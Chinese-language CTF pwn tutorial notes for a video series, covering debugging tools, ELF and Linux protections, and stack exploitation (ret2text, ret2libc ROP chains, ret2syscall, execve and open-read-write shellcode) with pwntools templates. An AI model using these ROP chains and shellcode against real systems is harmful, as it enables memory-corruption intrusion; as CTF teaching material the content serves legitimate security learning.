《重生之我在yctu做pwn手》系列视频笔记


1.pwn环境配置

视频讲解:https://www.bilibili.com/video/BV1YT1oYeEVd

配置指令:https://starrysky1004.github.io/2024/10/05/pwn-huan-jing-pei-zhi/

2.基础知识 & ret2text

PWN解题目标

获取远程靶机里的flag文件中的字符串(flag动态的,每个队伍的flag不同)

  • 获取shell:和远程终端交互通过cat flag获取

    可以获取shell的函数:**system('/bin/sh')** system('sh') system('$0')

    ps:读的是远程的flag文件,本地可以用ls确认是否获得shell或创建一个flag文件

  • 读取flagopen read write)/ system('cat flag')

前置基础

示例代码

#include <stdio.h>

char hello[] = "Hello world!";
int buf[10];

int func(int a, int b){
        int res;
        res = a + b;
        return res;
}

int main(){
        int a, b, c;
        a = 10;
        b = 20;
        c = func(a, b);
        printf("Result is: %d", c);
        return 0;
}

工具使用

nc

在终端直接与远程程序交互:nc ip port

IDA

参考文章:https://www.cnblogs.com/ve1kcon/p/17812418.html

快捷键 作用
n 重命名变量/函数
y 修改函数原型或者变量类型
tab 在反汇编窗口中,进行汇编指令伪代码之间的切换
esc 翻页,返回前一页面
space 在反汇编窗口中,进行列表视图图形视图之间的切换
f12 打开字符串窗口,可用于字符串搜索
/ 添加注释
gdb

参考文章:https://www.cnblogs.com/ve1kcon/p/17812420.html

指令 作用
gdb filename 进入调试可执行程序
r 开始/重新运行程序
c 运行到断点/结束
q 退出
n 单步调试
s 单步调试并跟进函数
p/x 用于计算(相当于计算器)
vmmap 获取调试进程中的虚拟映射地址范围
x/gx x/gi x/gs 以数据 / 汇编 / 字符串的形式查看内存(x/20gx一次查看更多数据)
b *address / function_name / *$rebase(address) 绝对地址 / 函数名 / 相对地址下断点
fin 跳出当前函数,执行到函数返回处
context 重新打印页面信息
code 查看程序基址
libc 查看libc基址
checksec

checksec filename 查看架构、端序、保护

elf文件格式

  • .init、.fini:保存了进程初始化和结束所用的代码,这两个节通常都是由编译器自动添加

  • plt、got:动态链接的跳转和全局入口表

  • .text:代码段

  • .rodata:保存了只读数据,可以读取但不能修改

    例如示例代码中的"Result is: %d"

  • .data:已初始化的全局变量和局部静态变量都保存在.data

    例如示例代码中的"Hello world!"

  • .bss:未初始化的全局变量和局部静态变量默认值都为0

    .bss段只是为未初始化的全局变量和局部静态变量预留位置没有内容,所以它在文件中也不占据空间

    例如示例代码中的buf

函数调用过程

指数据暂时存储的地方,所以才有入栈、出栈的说法,入栈和出栈都在栈顶(即将数据存放到数据暂存区的顶部以及从顶部取出数据),局部非静态变量存储在栈中

寄存器
64位

一个地址占8字节,可以使用pwntoolsp64生成一个64位的地址

rbp -> 栈底 rsp -> 栈顶

当前执行指令寄存器rip

传参rdi -> 一参 rsi -> 二参 rdx -> 三参

32位

一个地址占4字节,可以使用pwntoolsp32生成一个32位的地址

ebp:栈底 esp:栈顶

当前执行指令寄存器eip

传参:通过栈传参

函数调用

详细过程讲解见视频

linux保护机制

  • ASLR:Address Space Layout Randomization

    linux地址随机化,程序运行时的堆栈以及共享库的加载地址随机化

    关闭ASLR:sudo sysctl -w kernel.randomize_va_space=0

  • RELRO:RELocation Read-Only

    1. Full RELROgot表不可写

    2. Partial RELRO

      gcc编译时关闭relro参数:
      -z norelro	完全关闭
      -z lazy		部分开启
      -z now		完全开启
  • stack

    canary,防止栈溢出,位于rbp - 0x8

    gcc编译时关闭canary参数:
    -fno-stack-protector
  • NX:Non-eXecute

    1. NX enable:堆栈不可执行,仅.text段可执行

    2. No NX

      gcc编译时关闭NX参数:
      -z execstack	允许在堆栈上执行代码
      -z noexecstack	禁止在堆栈上执行代码
  • PIE

    gcc编译,code,获取地址,下断点

    1. PIE enabled:程序地址随机化

    2. No PIE

      gcc编译时关闭PIE参数:
      -no-pie

ret2text

即返回到text段,劫持返回地址到后门(即覆盖ret为后门的地址)

原理

输入长度没有被限制导致覆盖到ret

例如:gets函数不限制输入长度

解题

  • 检查保护(确认no pie以及no canary
  • 确定后门地址、变量到栈底的距离(根据IDA中变量后的rbp-xx得到与栈底的距离为xx
  • 填充中间空间(变量到栈底的距离+rbp的长度)并覆盖ret为返回地址

交互脚本模板

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './filename'	#修改成可执行文件名

debug = 0	#打远程时改成1
if debug:
    r = remote('ip', port)	#打远程时修改ip和端口
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)	#在需要调试的地方加上dbg()

r.interactive()

3.ret2libc

前置基础

相关概念

gadget:程序本身或者libc中存在的一些汇编指令,每一条指令有其对应的地址,将这些gadget地址部署到栈中可以执行该地址中存放的汇编指令

​ 例如:ret2text就是执行程序本身有的system("/bin/sh");指令

ROP:一种利用现有程序中的代码片段(即gadget)来构造攻击的技术,通过构造一系列的gadget来实现攻击目标,也可以控制程序执行好几段不相邻的程序已有的代码

​ 例如:在返回地址处按顺序填上函数func1func2func3的地址就会依次执行这三个函数,更多的是利用其中的汇编指令

工具指令

ROPgadget

获取gadget地址,--binary参数指定文件,可以是可执行文件或libc文件,grep用于筛选,--string用于筛选字符串

通过pop rdi可以将栈地址中的值传递给rdi寄存器,其他寄存器也同理,所以在构造ROP链时直接使用p64(pop_rdi_ret) + p64(rdi_content)即可控制rdi寄存器的值为rdi_content

$ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi'	#控制寄存器的值
$ROPgadget --binary ./pwn --string '/bin/sh'	#查找字符串
$ROPgadget --binary ./libc-2.35.so --only 'leave|ret' | grep 'leave'	#查找leave ret指令地址
$ROPgadget --binary ./pwn --ropchain	#生成现成的rop利用链直接getshell,适用于静态编译的程序
$ROPgadget --binary ./pwn --only 'ret'	#查找ret指令的地址
string
$strings ./libc.so.6  | grep GNU	#获取libc版本
glibc-all-in-one

进入glibc-all-in-one文件夹下执行./update_list之后cat list确认是否有对应版本的libc,存在对应版本使用./download libc版本名进行下载,下载完成之后存在于libs文件夹下,需要用的时候将文件夹下的libc文件夹复制过去,下载失败可以直接复制下载地址到windows中下载再放到虚拟机里

示例

使用strings指令确定libc版本为2.38-1ubuntu6,使用file指令确定32位(也可以checksec ./pwn

$strings ./libc.so.6  | grep GNU 
GNU C Library (Ubuntu GLIBC 2.38-1ubuntu6) stable release version 2.38.
Compiled by GNU CC version 13.2.0.

$file libc.so.6 
libc.so.6: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=495fc00b597566b5e14e221f563afe29ec1d8478, for GNU/Linux 3.2.0, stripped

确认list列表中存在该版本的libc

$cat list    
2.23-0ubuntu11.3_amd64
2.23-0ubuntu11.3_i386
2.23-0ubuntu3_amd64
2.23-0ubuntu3_i386
2.27-3ubuntu1.5_amd64
2.27-3ubuntu1.5_i386
2.27-3ubuntu1.6_amd64
2.27-3ubuntu1.6_i386
2.27-3ubuntu1_amd64
2.27-3ubuntu1_i386
2.31-0ubuntu9.12_amd64
2.31-0ubuntu9.12_i386
2.31-0ubuntu9.7_amd64
2.31-0ubuntu9.7_i386
2.31-0ubuntu9_amd64
2.31-0ubuntu9_i386
2.35-0ubuntu3.4_amd64
2.35-0ubuntu3.4_i386
2.35-0ubuntu3_amd64
2.35-0ubuntu3_i386
2.37-0ubuntu2.1_amd64
2.37-0ubuntu2.1_i386
2.37-0ubuntu2_amd64
2.37-0ubuntu2_i386
2.38-1ubuntu6_amd64
2.38-1ubuntu6_i386

下载该版本的libc,如果下载失败可以直接复制里面的链接https://mirror.tuna.tsinghua.edu.cn/ubuntu/pool/main/g/glibc/libc6_2.38-1ubuntu6_i386.debwindows里下载再存到虚拟机里,下载完成后位于libs文件夹中,需要使用时直接cp -r ~/glibc-all-in-one/libs/2.38-1ubuntu6_i386 ./2.38复制文件夹使用

$./download 2.38-1ubuntu6_i386                   
Getting 2.38-1ubuntu6_i386
  -> Location: https://mirror.tuna.tsinghua.edu.cn/ubuntu/pool/main/g/glibc/libc6_2.38-1ubuntu6_i386.deb
  -> Downloading libc binary package
  -> Extracting libc binary package
x - debian-binary
x - control.tar.zst
x - data.tar.zst
/home/starrysky/glibc-all-in-one
  -> Package saved to libs/2.38-1ubuntu6_i386
  -> Location: https://mirror.tuna.tsinghua.edu.cn/ubuntu/pool/main/g/glibc/libc6-dbg_2.38-1ubuntu6_i386.deb
  -> Downloading libc debug package
  -> Extracting libc debug package
x - debian-binary
x - control.tar.zst
x - data.tar.zst
/home/starrysky/glibc-all-in-one
  -> Package saved to libs/2.38-1ubuntu6_i386/.debug
ldd

获取可执行文件的动态链接文件,包括ldlibc

$ldd ./pwn
patchelf

更改可执行文件的动态链接文件,更改ld可以直接指定ld文件,而更改libc需要先使用ldd查看原libc作为--replace-needed选项的第一个参数,一般默认是libc.so.6

libc和ld要同时更改确保在同一版本

$patchelf --replace-needed libc.so.6 ./2.38/libc.so.6 ./pwn		#更改libc
$patchelf --set-interpreter ./2.35/ld-linux-x86-64.so.2 ./pwn	#更改ld
onegadget

能直接getshellgadget添加参数-l2可以获得更多

$one_gadget ./libc.so.6

延迟绑定

参考文章:https://starrysky1004.github.io/2024/09/26/linux-yan-chi-bang-ding-ji-zhi-guo-cheng/linux-yan-chi-bang-ding-ji-zhi-guo-cheng/

延迟绑定是一种在程序运行时才解析外部符号(如函数和变量)地址的技术,它允许程序在启动时不必立即加载所有动态链接库中的符号,从而提高程序的启动速度

c语言内置的函数(例如printf)都是依赖于libc中的外部函数

动态链接与静态链接

动态链接是指在程序运行时才将程序与所需的动态链接库中的库函数链接起来的过程,动态链接的程序在启动时会加载所需的动态库(例如libc),并在运行时解析外部符号的地址

静态链接在编译时将所有需要的库函数直接复制到可执行文件中,生成的可执行文件不依赖于外部的库文件,可以独立运行,但是会导致可执行文件体积增大

plt与got

PLT(Procedure Linkage Table) 是一个代码段,包含了用于动态链接的跳转指令。每个需要动态链接的外部函数都会在PLT中有一个条目,当程序第一次调用这个函数时,PLT中的代码会被执行,这个代码会去查找并解析外部函数的实际地址,并将其存储在GOT中,以便后续调用时直接跳转到正确的地址

GOT(Global Offset Table) 是一个数据段,存储了所有外部符号的地址。在程序启动时,GOT中的条目可能并不包含最终的地址,而是包含指向PLT中相应条目的指针。当PLT条目第一次被执行时,会将查找到的外部符号地址更新到GOT中,这样后续的调用就可以直接通过GOT找到正确的地址

延迟绑定过程
  1. 程序启动:程序启动时,动态链接器加载程序和所有依赖的动态库
  2. 符号解析:当程序第一次调用一个外部函数时,PLT中的代码会被执行,查找并解析外部函数的实际地址
  3. 地址存储:查找到的地址被存储在GOT中,以便后续调用
  4. 直接调用:后续对同一外部函数的调用将直接通过GOT进行,无需再次解析
总结
  • 执行函数的plt会通过跳转got直接调用到该函数
  • got表可写的情况下覆盖函数的got表为其他函数地址可以实现调用该函数时执行到其他函数

ret2libc

目标是执行system("/bin/sh");,即执行system函数其一参为"/bin/sh"

有system和/bin/sh

延迟绑定部分提到,执行函数的plt可以直接调用到该函数,那么构造rop链就是要先控制一参rdi"/bin/sh"的地址再填systemplt

  • 控制一参

    使用ROPgadget找到pop rdi的地址

    $ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi'

    ps:gadget中含有pop rdi就行,但是有pop其他寄存器就需要在后面加上对应的值,例如0x000ac112 : pop rdi ; pop rbx ; retpop rdi之后还pop rbx,所以后面需要加两个地址,即p64(0x000ac112) + p64(rdi_content) + p64(rbx_content),后面就可以继续加其他gadget

  • "/bin/sh"地址

    "/bin/sh"地址需要在IDA中查找,直接按f12找到对应地址

  • system函数地址

    pwntools中可以直接获取pltgot的地址:elf.plt['system'] elf.got['system']

最终构造出

#ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' -> pop_rdi_ret
pop_rdi_ret = 
bin_sh = IDA中/bin/sh地址
system_plt = elf.plt['system']
p = b'a' * ? + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_plt)
r.sendline(p)

有system无/bin/sh

缺少/bin/sh可以直接往程序中的一个地址写入/bin/sh,假设地址是buf,那么就要先构造gets(buf),读取/bin/sh之后再执行system('/bin/sh'),其中system的一参就说buf,即/bin/sh的地址

  • 获取getsplt地址:elf.plt['gets']
  • 设置buf的地址,从IDA中选取,可以从bss段中选取地址
  • 获取systemplt地址:elf.plt['system']
  • 设置一参:ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi'

最终构造:注意发送/bin/sh最后加上\x00截断字符串,在执行rop链的过程中会执行gets(buf)从输入流输入buf的值,此时输入/bin/sh\x00即可向buf输入字符串

#ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' -> pop_rdi_ret
pop_rdi_ret = 
buf = 
gets_plt = elf.plt['gets']
system_plt = elf.plt['system']
p = b'a' * ?
p += p64(pop_rdi_ret) + p64(buf) + p64(gets_plt)	#gets(buf)
p += p64(pop_rdi_ret) + p64(buf) + p64(system_plt)	#system(buf)
r.sendline(p)
r.sendline('/bin/sh\x00')

无system无/bin/sh

可执行文件中没有system,但是作为动态链接库的libc中有,所以直接执行libc中的system即可,所以思路就是先获取libc的基址,再计算libcsystem/bin/sh的地址,最后执行system('/bin/sh')

got部分提到got表存放了外部符号地址,即libc中的地址,所以如果能够泄露got表中的地址就能获取libc中某个函数的真实地址,再减去这个函数在libc中的偏移就能得到libc的基址,最后加上system函数的偏移就能得到system函数的地址

  • 泄露got表中函数的地址

    需要用一个输出函数输出一个got表的地址,一般构造puts(puts_got),最后还要再回到该函数继续利用栈溢出,即p64(pop_rdi_ret) + p64(puts_got) + p64(puts) + p64(main)

    接收该地址:基本就是一个固定用法u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

  • 获取libc基址

    标志:64位以7f开头,基址末尾三位是0

    已知puts函数的真实地址和puts函数的偏移,libc的基址就等于真实地址减偏移

    获取puts函数在libc中的偏移可以通过libc = ELF('libc文件'),然后libc.sym['puts']得到puts偏移

    在打本地的时候如果修改了libc版本需要对应修改ELF里的文件路径,也可以直接在本地打通之后修改文件路径为远程的libc文件后直接打远程

  • 获取system/bin/sh地址:从libc获取地址需要加上基址

    system = libc.sym['system'] + libc_base

    bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base

最终构造:

#ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' -> pop_rdi_ret
pop_rdi_ret = 
main = elf.sym['main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
p = b'a' * ? + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
r.sendline(p)

libc = ELF('libc文件路径')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
system = libc.sym['system'] + libc_base
bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base
p = b'a' * ? + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
r.sendline(p)

堆栈平衡

某些指令,如movaps(用于操作XMM寄存器),要求栈指针RSP必须是16字节对齐的,直接从返回地址开始写rop链可能会造成堆栈不平衡,需要在rop链前加上汇编指令ret平衡堆栈

$ROPgadget --binary ./pwn --only 'ret'	#查找ret指令的地址

32位程序

32位和64位的区别就是32位通过栈传参而不通过寄存器传参,所以不像64位需要找pop rdi的值,32位构造rop链的方式是函数+返回地址+参数列表,例如

p = b'a' * ?
p += p64(pop_rdi_ret) + p64(buf) + p64(gets)	#gets(buf)
p += p64(pop_rdi_ret) + p64(buf) + p64(system)	#system(buf)

对应32位的程序

p = b'a' * (0x64 + 0xc) + p32(gets_plt) + p32(system_plt) + p32(bss) * 2

例题

https://starrysky1004.github.io/ret2libc.zip

补充

在题目没有给libc的情况下可以通过泄露多个已知函数名的地址,在https://libc.rip/中查询

4.ret2syscall&ret2shellcode&零碎知识点

ret2syscall

前置基础

操作系统的进程空间分为用户空间和内核空间,内核空间需要更高的权限,系统调用就是运行在用户空间的程序向操作系统内核请求需要更高权限运行的内核函数

当用户态进程发起一个系统调用,CPU切换到内核态并开始执行一个内核函数。由于系统调用处理函数只有一个,所以需要通过rax传递系统调用号确定调用的函数

利用

应用程序在用户态准备好调用参数(包括系统调用号和函数参数),在64位程序中执行syscall或在32位程序中执行int 80触发软中断,CPU被软中断打断后执行对应中断处理函数,最后执行ret指令切换回用户态

常用系统调用号:

32read 3 open 5 write 4 sigreturn 77/0x4D execve 11/0xb

64read 0 open 2 write 1 sigreturn 15/0xF execve 59/0x3b

execve用法:execve("/bin/sh",NULL,NULL)

p = p64(pop_rax_ret) + p64(a) + p64(pop_rdi_ret) + p64(b) + p64(pop_rsi_ret) + p64(c) + p64(syscall)

对比ret2libc

p = p64(pop_rdi_ret) + p64(b) + p64(pop_rsi_ret) + p64(c) + p64(xxx_plt)

全部系统调用号参考:https://syscalls.mebeim.net/?table=x86/64/x64/latest

ret2shellcode

前置基础

控制程序执行shellcode代码,shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell,或者open read write获取并输出flag,通常情况下shellcode需要我们自行编写,即向内存中填充一些可执行的代码

前提条件:shellcode所在的区域具有可执行权限

工具

查看禁用的函数seccomp-tools dump ./pwn

exppwntools使用:

  • 使用asm()将汇编代码转换为对应的机器码

  • 生成shell

    shellcode = shellcraft.sh()
  • 生成orw

    shellcode = shellcraft.open('./flag')
    shellcode += shellcraft.read(3, 0x123000 + 0x100, 0x30)	#'rsp'
    shellcode += shellcraft.write(1, 0x123000 + 0x100,0x30)
  • 自己写shellcode

    • 执行execve('/bin/sh', 0, 0)

      shellcode = '''
      xor rdx,rdx
      push rdx
      mov rsi,rsp
      mov rax,0x68732f2f6e69622f
      push rax
      mov rdi,rsp
      mov rax,59
      syscall
      '''
    • 执行open read write

      shellcode = """
      push 0x67616c66
      mov rdi,rsp
      xor esi,esi
      push 2
      pop rax
      syscall
      mov rdi,rax
      mov rsi,rsp
      mov edx,0x100
      xor eax,eax
      syscall
      mov edi,1
      mov rsi,rsp
      push 1
      pop rax
      syscall
      """

在线汇编和反汇编:http://shell-storm.org/online/Online-Assembler-and-Disassembler/

常见情况

  • 没有开启NX保护,可以泄露栈地址向栈中写入shellcode再将返回地址改到该地址
  • 程序使用mprotect函数给某一段可读可写可执行权限,并且让用户向这一段的变量中输入,再直接将输入的变量作为函数调用

零碎知识点

整数溢出:变量定义为整型但输入后(unsigned int)强制转化为无符号整型,输入-1则变成正无穷

字符溢出:char类型范围是-128~+127,因此输入超过128会变成负数

数组越界:index可控的时候越界写到其他变量

str类函数:例如strcpystrcatstrcmpstrlen等函数会被\x00截断

scanf:输入+-不会有实际输入

随机数绕过:利用cpython联合编程,例如:

from ctypes import *
libc = cdll.LoadLibrary('./2.35/libc.so.6')

seed = 0
libc.srand(seed)

for i in range(21):
    v6 = (libc.rand() ^ 0x24) + 1
    r.sendlineafter('input: ', str(v6))

  目录